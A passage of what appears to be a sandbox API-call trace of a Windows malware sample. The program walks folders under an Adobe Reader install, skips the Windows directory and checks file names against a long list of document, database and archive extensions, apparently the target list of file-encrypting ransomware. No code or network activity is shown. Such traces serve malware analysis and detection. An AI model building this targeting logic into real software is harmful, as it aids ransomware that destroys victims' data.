lstrlenW (lpString=".crt") returned 4 [0261.469] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0261.469] lstrlenW (lpString=".crw") returned 4 [0261.469] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0261.469] lstrlenW (lpString=".cs") returned 3 [0261.469] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0261.469] lstrlenW (lpString=".css") returned 4 [0261.469] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0261.469] lstrlenW (lpString=".csv") returned 4 [0261.469] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0261.469] lstrlenW (lpString=".cub") returned 4 [0261.469] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0261.469] lstrlenW (lpString=".dae") returned 4 [0261.469] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0261.469] lstrlenW (lpString=".dat") returned 4 [0261.469] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0261.469] lstrlenW (lpString=".db") returned 3 [0261.469] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0261.469] lstrlenW (lpString=".dbf") returned 4 [0261.469] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0261.469] lstrlenW (lpString=".dbx") returned 4 [0261.469] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0261.469] lstrlenW (lpString=".dc3") returned 4 [0261.469] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0261.470] lstrlenW (lpString=".dcm") returned 4 [0261.470] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0261.470] lstrlenW (lpString=".dcr") returned 4 [0261.470] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0261.470] lstrlenW (lpString=".der") returned 4 [0261.470] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0261.470] lstrlenW (lpString=".dib") returned 4 [0261.470] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0261.470] lstrlenW (lpString=".dic") returned 4 [0261.470] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0261.470] lstrlenW (lpString=".dif") returned 4 [0261.470] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0261.470] lstrlenW (lpString=".divx") returned 5 [0261.470] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0261.470] lstrlenW (lpString=".djvu") returned 5 [0261.470] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0261.470] lstrlenW (lpString=".dng") returned 4 [0261.470] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0261.470] lstrlenW (lpString=".doc") returned 4 [0261.470] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0261.470] lstrlenW (lpString=".docm") returned 5 [0261.470] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0261.470] lstrlenW (lpString=".docx") returned 5 [0261.470] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0261.470] lstrlenW (lpString=".dot") returned 4 [0261.470] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0261.470] lstrlenW (lpString=".dotm") returned 5 [0261.470] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0261.470] lstrlenW (lpString=".dotx") returned 5 [0261.471] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0261.471] lstrlenW (lpString=".dpx") returned 4 [0261.471] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0261.471] lstrlenW (lpString=".dqy") returned 4 [0261.471] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0261.471] lstrlenW (lpString=".dsn") returned 4 [0261.471] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0261.471] lstrlenW (lpString=".dt") returned 3 [0261.471] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0261.471] lstrlenW (lpString=".dtd") returned 4 [0261.471] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0261.471] lstrlenW (lpString=".dwg") returned 4 [0261.472] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0261.472] lstrlenW (lpString=".dwt") returned 4 [0261.472] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0261.472] lstrlenW (lpString=".dx") returned 3 [0261.472] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0261.472] lstrlenW (lpString=".dxf") returned 4 [0261.472] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0261.472] lstrlenW (lpString=".edml") returned 5 [0261.472] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0261.472] lstrlenW (lpString=".efd") returned 4 [0261.472] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0261.472] lstrlenW (lpString=".elf") returned 4 [0261.472] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0261.472] lstrlenW (lpString=".emf") returned 4 [0261.472] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0261.472] lstrlenW (lpString=".emz") returned 4 [0261.472] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0261.472] lstrlenW (lpString=".epf") returned 4 [0261.472] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0261.472] lstrlenW (lpString=".eps") returned 4 [0261.472] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0261.472] lstrlenW (lpString=".epsf") returned 5 [0261.472] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0261.472] lstrlenW (lpString=".epsp") returned 5 [0261.472] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0261.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.475] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0261.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.476] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0261.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.476] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0261.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.477] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0261.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.477] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0261.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.477] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0261.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.477] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0261.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.477] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0261.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.478] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0261.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.478] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0261.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.478] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0261.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.478] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0261.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.478] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0261.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.479] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0261.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.479] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0261.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.479] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.479] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0261.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.480] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0261.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.480] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0261.480] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0261.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0261.481] FindNextFileW (in: hFindFile=0x6cfe48, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0261.481] FindClose (in: hFindFile=0x6cfe48 | out: hFindFile=0x6cfe48) returned 1 [0261.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0261.481] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0261.481] FindClose (in: hFindFile=0x6cfdc8 | out: hFindFile=0x6cfdc8) returned 1 [0261.481] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0261.483] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api", cAlternateFileName="")) returned 1 [0261.483] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api") returned 94 [0261.484] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api") returned 1 [0261.484] lstrlenW (lpString="app-api") returned 7 [0261.484] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="app-api") returned 1 [0261.484] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0261.484] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api") returned 94 [0261.484] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\*", lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0261.484] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0261.484] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 1 [0261.485] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev") returned 98 [0261.485] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev") returned 1 [0261.485] lstrlenW (lpString="dev") returned 3 [0261.485] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="dev") returned -1 [0261.485] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0261.654] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev") returned 98 [0261.654] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\*", lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0261.654] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.654] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x100e, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api.js", cAlternateFileName="")) returned 1 [0261.654] lstrlenW (lpString="app-api.js") returned 10 [0261.654] lstrlenW (lpString=".1cd") returned 4 [0261.654] lstrcmpiW (lpString1=".1cd", lpString2="i.js") returned -1 [0261.654] lstrlenW (lpString=".3ds") returned 4 [0261.654] lstrcmpiW (lpString1=".3ds", lpString2="i.js") returned -1 [0261.654] lstrlenW (lpString=".3fr") returned 4 [0261.654] lstrcmpiW (lpString1=".3fr", lpString2="i.js") returned -1 [0261.654] lstrlenW (lpString=".3g2") returned 4 [0261.654] lstrcmpiW (lpString1=".3g2", lpString2="i.js") returned -1 [0261.654] lstrlenW (lpString=".3gp") returned 4 [0261.654] lstrcmpiW (lpString1=".3gp", lpString2="i.js") returned -1 [0261.655] lstrlenW (lpString=".7z") returned 3 [0261.655] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0261.655] lstrlenW (lpString=".accda") returned 6 [0261.655] lstrcmpiW (lpString1=".accda", lpString2="api.js") returned -1 [0261.655] lstrlenW (lpString=".accdb") returned 6 [0261.655] lstrcmpiW (lpString1=".accdb", lpString2="api.js") returned -1 [0261.655] lstrlenW (lpString=".accdc") returned 6 [0261.655] lstrcmpiW (lpString1=".accdc", lpString2="api.js") returned -1 [0261.655] lstrlenW (lpString=".accde") returned 6 [0261.655] lstrcmpiW (lpString1=".accde", lpString2="api.js") returned -1 [0261.655] lstrlenW (lpString=".accdt") returned 6 [0261.655] lstrcmpiW (lpString1=".accdt", lpString2="api.js") returned -1 [0261.655] lstrlenW (lpString=".accdw") 